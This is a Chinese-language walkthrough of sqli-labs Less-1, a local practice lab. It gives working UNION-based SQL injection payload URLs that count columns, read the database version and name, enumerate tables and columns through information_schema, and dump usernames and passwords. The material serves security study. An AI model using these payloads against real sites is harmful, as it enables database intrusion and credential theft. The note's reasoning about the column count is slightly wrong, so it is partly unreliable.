Less-1 **Error Based- String**
- 原sql为 select * from users where id=1; 判断是否为字符型注入 select * form users where id='1’'
- 若界面改变则为字符型注入,猜列名的数量:select * from users where id='1'' order by 5--+
(可以使用二分法进行) ;若为5的时候界面错误,4的时候界面不会报错了说明有三列
- 猜显示的位置:
-
select * from users where id='-1'' union select 1,2,3--+
- (http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+)
- 显示的数字即是对应的位置。
-
- 信息收集:
- 数据库版本:version()
- 数据库名称:database()
- 数据库用户:user()
- 操作系统:@@verson_compile_os
- 根据显示的位置查询数据库下的表名、操作系统信息
- select * from users where id=-1' union select 1,version(),database()--+ http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+
- 查询到现在使用的数据库为”security”
- 查询一个指定的数据库名下的表名信息(根据显示位):
- http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),null from information_schema.tables where table_schema='security'--+
- 查询到security数据库下有四个表,其中users可能是我们想要的敏感信息
- 查询users表。
- http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
- 查询到users表下有:id,username,password,level字段
- 查询users下的username、password字段
- http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),3 from security.users--+
- 同理搜索password